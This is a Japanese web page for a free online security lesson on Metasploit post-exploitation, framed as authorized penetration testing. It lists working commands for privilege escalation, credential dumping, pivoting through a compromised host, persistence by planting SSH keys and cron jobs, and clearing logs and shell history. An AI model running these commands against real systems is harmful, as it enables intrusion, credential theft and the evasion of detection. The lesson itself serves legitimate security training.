侵入後の操作：PivotとPersist
Metasploitのpost moduleを使って、権限昇格、認証情報のダンプ、永続化を行います。
「侵入後の操作：PivotとPersist」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
ポストエクスプロイトの目的
初期アクセスの後、攻撃者は権限の昇格、情報の収集、永続的なアクセスの維持、真の目的（データ、システム、ドメイン制御）に到達するための横展開を目指します。
状況認識
シェルを取得した後の最初の手順は、自分がどこにいるかを把握することです。システム情報、ネットワーク設定、現在のユーザー権限、実行中のプロセス、環境変数を収集します。
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/linux/gather/enum_system権限昇格
ローカル権限昇格では、低権限のシェルからrootまたはSYSTEMへ移行します。Metasploitのlocal_exploit_suggesterは、対象OSのバージョンに基づいて、適用可能なカーネルエクスプロイトやローカルエクスプロイトを特定します。
meterpreter > run post/multi/recon/local_exploit_suggester
# Identifies applicable exploits
# Then:
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit
msf6 > set SESSION 1
msf6 > run認証情報の収集
ハッシュ化されたパスワード、設定ファイル内の平文の認証情報、ブラウザーに保存されたパスワード、SSHキーなどの認証情報を収集します。これらは横展開や永続化に利用できます。
meterpreter > run post/linux/gather/hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > run post/multi/gather/ssh_creds
# Check env vars for cleartext creds:
meterpreter > run post/multi/gather/envピボッティング：ポートフォワーディング
ピボッティングでは、侵害したホストを中継点として、分離された内部ネットワークに到達します。Metasploitのportfwdは、Meterpreterセッションを経由するローカルポートフォワーディングを作成します。
# Forward local port 3306 to internal DB
meterpreter > portfwd add -l 3306 -p 3306 -r 10.10.10.20
# Now connect locally:
mysql -h 127.0.0.1 -P 3306 -u rootセッション経由のルーティング
Metasploitのrouteモジュールは、セッション経由のネットワークルートを追加します。これにより、ピボットホストを経由しなければアクセスできないネットワークに、他のモジュールから到達できるようになります。
msf6 > route add 10.10.10.0/24 1 # route via session 1
msf6 > route print
# Now run modules targeting 10.10.10.x
# through session 1 as pivotSOCKSプロキシによるピボッティング
MetasploitのSOCKSプロキシ（またはchisel/ssh -D）を使用すると、proxychainsを介して任意のツールをピボット経由でルーティングできます。これにより、nmap、curl、ブラウザーから内部ネットワークにアクセスできます。
# Set up SOCKS proxy through session
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
# Route tools through proxy
proxychains nmap -sT 10.10.10.0/24永続化の仕組み
永続化によって、再起動やセッション切断後もアクセスを維持できます。一般的な方法には、cronジョブ（Linux）、レジストリのRunキー（Windows）、SSH authorized_keysへの不正な追加、サービスのインストールがあります。
# Linux: cron-based persistence
meterpreter > run post/linux/manage/cron_persistence
# Windows: registry
meterpreter > run post/windows/manage/persistence_exe
# SSH key injection
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys痕跡の隠蔽
攻撃者はステルス性を維持するためにログを消去します。セキュリティ上の注意点として、最新のSIEMやEDRソリューションはリアルタイムでホスト外にログを転送します。そのため、ローカルログを消去しても集中管理された記録は消えません。
meterpreter > clearev # clear Windows event logs
# Linux: clear bash history
unset HISTFILE
cat /dev/null > ~/.bash_historyポストエクスプロイトモジュール
Metasploitには、WindowsとLinux向けのポストモジュールが数百種類含まれています。認証情報の収集、ブラウザーデータの取得、キーロギング、スクリーンショット取得、ネットワーク列挙などが可能です。
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > use post/multi/gather/browser_history
msf6 > use post/windows/gather/screen_spy
msf6 > set SESSION 1
msf6 > run停止するタイミングの判断
認可されたペネトレーションテストでは、合意したスコープの目的に到達したとき、またはアクセス権限のないデータに遭遇したときに停止します。経路を注意深く文書化してください。これはレポートで示す攻撃チェーンになります。
確認問題
Metasploitの「route add」コマンドで何が可能になりますか。
まとめ：ポストエクスプロイト
ポストエクスプロイトでは、初期アクセスを基盤として、権限昇格、認証情報の収集、横展開、永続化によって実際の影響を達成します。Metasploitは各段階に対応するポストモジュールを提供します。侵入から目的達成までの攻撃チェーンはペネトレーションテストの中心的な成果物であるため、すべての手順を文書化します。
AI チューターと学ぶ Cyber Security Academy — 無料
ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。
- コース
- 76
- レッスン
- 303
よくある質問
「侵入後の操作：PivotとPersist」レッスンは無料ですか？
はい。「侵入後の操作：PivotとPersist」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し（組み込みコードエディタと24時間対応のAIチューター）、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「侵入後の操作：PivotとPersist」で何を学びますか？
Metasploitのpost moduleを使って、権限昇格、認証情報のダンプ、永続化を行います。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか？
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「侵入後の操作：PivotとPersist」レッスンにはどのくらい時間がかかりますか？
ほとんどのCoddyKitレッスンは約5～10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか？
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Metasploitのアーキテクチャとmsfconsole
- 既知の脆弱性の悪用
- Payload：stagedとstageless、Meterpreter
- 侵入後の操作：PivotとPersist